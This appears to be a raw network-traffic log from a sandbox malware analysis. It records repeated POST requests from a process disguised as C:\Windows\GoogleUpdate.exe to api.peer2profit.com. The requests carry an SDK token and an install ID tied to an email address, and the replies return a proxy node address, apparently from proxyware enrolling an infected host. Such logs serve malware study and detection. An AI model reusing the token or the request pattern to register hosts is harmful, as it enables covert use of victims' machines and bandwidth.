2022-11-27 03:37:21 UTC	4	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49856	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:46 UTC	34	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:46 UTC	34	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:46 UTC	34	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:46 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3c01dba90af-FRA
2022-11-27 03:37:46 UTC	34	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49859	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:46 UTC	35	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:46 UTC	35	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:46 UTC	35	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:46 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3c22d615b68-FRA
2022-11-27 03:37:46 UTC	35	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49862	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:50 UTC	35	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:50 UTC	35	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:50 UTC	36	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:50 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3d9cd43bb59-FRA
2022-11-27 03:37:50 UTC	36	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49864	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:50 UTC	36	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:50 UTC	36	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:50 UTC	36	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:50 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3dbed75bb3e-FRA
2022-11-27 03:37:50 UTC	37	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49867	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:52 UTC	37	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:52 UTC	37	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:52 UTC	37	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:52 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3e47f849b67-FRA
2022-11-27 03:37:52 UTC	37	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49870	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:53 UTC	37	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:53 UTC	38	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:53 UTC	38	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3eb1fb16937-FRA
2022-11-27 03:37:53 UTC	38	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49873	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:53 UTC	38	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:53 UTC	38	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:53 UTC	38	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3ed39a55c56-FRA
2022-11-27 03:37:53 UTC	39	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49876	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:53 UTC	39	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:53 UTC	39	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:53 UTC	39	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3ef0864bbf8-FRA
2022-11-27 03:37:53 UTC	39	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49879	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:53 UTC	39	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:53 UTC	40	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:54 UTC	40	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3f0bff8bb9d-FRA
2022-11-27 03:37:54 UTC	40	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49882	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:54 UTC	40	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:54 UTC	40	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:54 UTC	40	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3f289519a05-FRA
2022-11-27 03:37:54 UTC	41	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49726	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:22 UTC	4	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:22 UTC	4	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:22 UTC	4	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:22 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d32a0f8c9b82-FRA
2022-11-27 03:37:22 UTC	4	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49885	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:55 UTC	41	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
